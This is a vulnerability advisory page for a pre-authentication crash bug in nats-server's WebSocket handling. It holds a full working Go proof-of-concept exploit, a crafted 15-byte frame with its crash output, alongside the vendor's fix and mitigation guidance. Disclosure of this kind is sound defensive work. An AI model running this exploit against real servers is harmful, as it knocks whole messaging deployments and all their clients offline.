Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Primary rating from Vendor (https://github.com/nats-io/nats-server).
CVSS VectorVendor: https://github.com/nats-io/nats-server
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Lifecycle Timeline
4DescriptionCVE.org
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
When using WebSockets, a malicious client can trigger a server crash with crafted frames, before authentication.
Problem Description
A missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port.
Affected versions
Version 2 from v2.2.0 onwards, prior to v2.11.14 or v2.12.5
Workarounds
This only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If able to do so, a defense in depth of restricting either of these will mitigate the attack.
Solution
Upgrade the NATS server to a fixed version.
Credits
This was reported to the NATS maintainers by GitHub user Mistz1. Also independently reported by GitHub user jiayuqi7813.
-----
Report by @Mistz1
Summary
An unauthenticated remote attacker can crash the entire nats-server process by sending a single malicious WebSocket frame (15 bytes after the HTTP upgrade handshake). The server fails to validate the RFC 6455 §5.2 requirement that the most significant bit of a 64-bit extended payload length must be zero. The resulting uint64 → int conversion produces a negative value, which bypasses the bounds clamp and triggers an unrecovered panic in the connection's goroutine - killing the entire server process and disconnecting all clients. This affects all platforms (64-bit and 32-bit).
Details
Vulnerable code: server/websocket.go line 278
r.rem = int(binary.BigEndian.Uint64(tmpBuf))When a WebSocket frame uses the 64-bit extended payload length (length code 127), the server reads 8 bytes and casts the raw uint64 directly to int with no validation. RFC 6455 §5.2 states: *"the most significant bit MUST be 0"* - but nats-server never checks this.
Attack chain:
- The attacker sends a WebSocket frame with the MSB set in the 64-bit length field (e.g.,
0x8000000000000001). - At line 278,
int(0x8000000000000001)produces-9223372036854775807on 64-bit Go (two's complement reinterpretation - Go does not panic on integer conversion overflow). r.remis now negative. At line 307-311, the bounds clamp fails:
n = r.rem // n = -9223372036854775807
if pos+n > max { // 14 + (-huge) = negative, NOT > max → FALSE
n = max - pos // clamp NEVER fires
}
b = buf[pos : pos+n] // buf[14 : -9223372036854775793] → PANICThe addition pos + n wraps to a negative value (Go signed integer overflow is defined behavior - it wraps silently). Since the negative result is never greater than max, the clamp is skipped. The slice expression at line 311 reaches the Go runtime bounds check, which panics.
- There is no
defer recover()anywhere in the goroutine chain:
startGoRoutine:go func() { f() }()- no recoveryreadLoop: defer only does cleanup - no recovery
The unrecovered panic propagates to Go's runtime, which calls os.Exit(2). The entire nats-server process terminates.
- The WebSocket frame is parsed in
wsRead()called fromreadLoop(), which starts immediately after the HTTP upgrade - before any NATS CONNECT authentication. No credentials are required.
Why 15 bytes, not 14: The 14-byte frame header (opcode + length + mask key) exactly fills the read buffer on the first call, so pos == max and the payload loop at line 303 (if pos < max) is skipped. The poisoned r.rem persists in the wsReadInfo struct. One additional byte of "payload" is needed so that pos < max on either the same or next read, entering the panic path at line 311.
PoC
Server configuration (test-ws.conf):
listen: 127.0.0.1:4222
websocket {
listen: "127.0.0.1:9222"
no_tls: true
}Start the server:
nats-server -c test-ws.confExploit (poc_ws_crash.go):
package main
import (
"bufio"
"encoding/binary"
"fmt"
"net"
"net/http"
"os"
"time"
)
func main() {
target := "127.0.0.1:9222"
if len(os.Args) > 1 {
target = os.Args[1]
}
fmt.Printf("[*] Connecting to %s...\n", target)
conn, err := net.DialTimeout("tcp", target, 5*time.Second)
if err != nil {
fmt.Printf("[-] Connection failed: %v\n", err)
os.Exit(1)
}
defer conn.Close()
// WebSocket upgrade
req, _ := http.NewRequest("GET", "http://"+target, nil)
req.Header.Set("Upgrade", "websocket")
req.Header.Set("Connection", "Upgrade")
req.Header.Set("Sec-WebSocket-Key", "dGhlIHNhbXBsZSBub25jZQ==")
req.Header.Set("Sec-WebSocket-Version", "13")
req.Header.Set("Sec-WebSocket-Protocol", "nats")
req.Write(conn)
conn.SetReadDeadline(time.Now().Add(5 * time.Second))
resp, err := http.ReadResponse(bufio.NewReader(conn), req)
if err != nil || resp.StatusCode != 101 {
fmt.Printf("[-] Upgrade failed\n")
os.Exit(1)
}
fmt.Println("[+] WebSocket established")
conn.SetReadDeadline(time.Time{})
// Malicious frame: FIN+Binary, MASK+127, 8-byte length with MSB set, mask key, 1 payload byte
frame := make([]byte, 15)
frame[0] = 0x82 // FIN + Binary
frame[1] = 0xFF // MASK + 127 (64-bit length)
binary.BigEndian.PutUint64(frame[2:10], 0x8000000000000001) // MSB set
frame[10] = 0xDE // Mask key
frame[11] = 0xAD
frame[12] = 0xBE
frame[13] = 0xEF
frame[14] = 0x41 // 1 payload byte
fmt.Printf("[*] Sending: %x\n", frame)
conn.Write(frame)
time.Sleep(2 * time.Second)
// Verify crash
conn2, err := net.DialTimeout("tcp", target, 3*time.Second)
if err != nil {
fmt.Println("[!!!] SERVER IS DOWN - full process crash confirmed")
os.Exit(0)
}
conn2.Close()
fmt.Println("[-] Server still running")
}Run:
go build -o poc_ws_crash poc_ws_crash.go
./poc_ws_crashObserved server output before termination:
panic: runtime error: slice bounds out of range [:-9223372036854775793]
goroutine 13 [running]:
github.com/nats-io/nats-server/v2/server.(*client).wsRead(...)
server/websocket.go:311 +0xa93
github.com/nats-io/nats-server/v2/server.(*client).readLoop(...)
server/client.go:1434 +0x768
github.com/nats-io/nats-server/v2/server.(*Server).startGoRoutine.func1()
server/server.go:4078 +0x32Tested against: nats-server v2.14.0-dev (commit a69f51f), Go 1.25.7, linux/amd64.
Impact
Vulnerability type: Pre-authentication remote denial of service (full process crash).
Who is impacted: Any nats-server deployment with WebSocket listeners enabled (websocket { ... } in config), including MQTT-over-WebSocket. This is an increasingly common configuration for browser-based and IoT clients. The attacker needs only TCP access to the WebSocket port - no credentials, no valid NATS client, no TLS client certificate.
Severity: A single unauthenticated TCP connection sending 15 bytes crashes the entire server process. All connected clients (NATS, WebSocket, MQTT, cluster routes, gateways, leaf nodes) are immediately disconnected. JetStream in-flight acknowledgments are lost and Raft consensus is disrupted in clustered deployments. The attack is repeatable on every server restart.
Affected platforms: All - confirmed on 64-bit (linux/amd64); 32-bit platforms (linux/386, linux/arm) are also affected with additional frame-desync consequences.
( NATS retains the original external report below the cut, with exploit details. This issue was also independently reported by GitHub user @jiayuqi7813 before publication; they provided a Python exploit.)
AnalysisAI
A critical pre-authentication denial of service vulnerability in nats-server allows an unauthenticated remote attacker to crash the entire server process by sending a single malicious 15-byte WebSocket frame. The vulnerability affects nats-server versions 2.2.0 through 2.11.13 and 2.12.0 through 2.12.4 when WebSocket listeners are enabled. A working proof-of-concept exploit in Go has been publicly disclosed by security researcher Mistz1, demonstrating that a single TCP connection can bring down the entire NATS deployment including all connected clients, JetStream streams, and cluster routes.
Technical ContextAI
NATS.io is a high-performance cloud-native messaging system commonly used for microservices communication, IoT messaging, and event streaming. This vulnerability affects the WebSocket transport implementation in the nats-server package (pkg:go/github.com_nats-io_nats-server_v2). The root cause is an integer overflow (CWE-190) in the WebSocket frame parser at websocket.go line 278, where the server performs an unchecked cast of a 64-bit unsigned payload length to a signed integer without validating RFC 6455 section 5.2 requirements that the most significant bit must be zero. When an attacker sets the MSB in the extended payload length field, the uint64 to int conversion produces a negative value on 64-bit systems (e.g., 0x8000000000000001 becomes -9223372036854775807). This negative value bypasses the bounds clamp logic in the subsequent slice operation, causing a runtime panic in the slice bounds check at line 311. The panic occurs in the readLoop goroutine before any NATS CONNECT authentication takes place, and because nats-server does not implement panic recovery in the WebSocket connection handler, the unrecovered panic propagates to the Go runtime which terminates the entire process with os.Exit(2).
RemediationAI
Immediately upgrade nats-server to version 2.11.14 or later, or version 2.12.5 or later, which contain fixes for this vulnerability as detailed in the vendor security advisories at https://github.com/nats-io/nats-server/security/advisories/GHSA-pq2q-rcw4-3hr6 and https://advisories.nats.io/CVE/secnote-2026-03.txt. Organizations unable to upgrade immediately should implement defense-in-depth mitigations by either disabling WebSocket listeners entirely if not required, or restricting network access to the WebSocket port using firewall rules or network segmentation to allow connections only from trusted IP ranges and authenticated endpoints. If WebSocket support is essential for browser-based or IoT clients, deploy a reverse proxy or API gateway in front of NATS that can perform additional protocol validation and rate limiting to reduce attack surface while planning the upgrade. Note that these workarounds only reduce risk and do not eliminate the vulnerability, making urgent patching the only complete remediation.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-190 – Integer Overflow or Wraparound
View allSame technique Denial Of Service
View allVendor StatusVendor
SUSE
Severity: High| Product | Status |
|---|---|
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| openSUSE Leap 15.5 | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-15962
GHSA-pq2q-rcw4-3hr6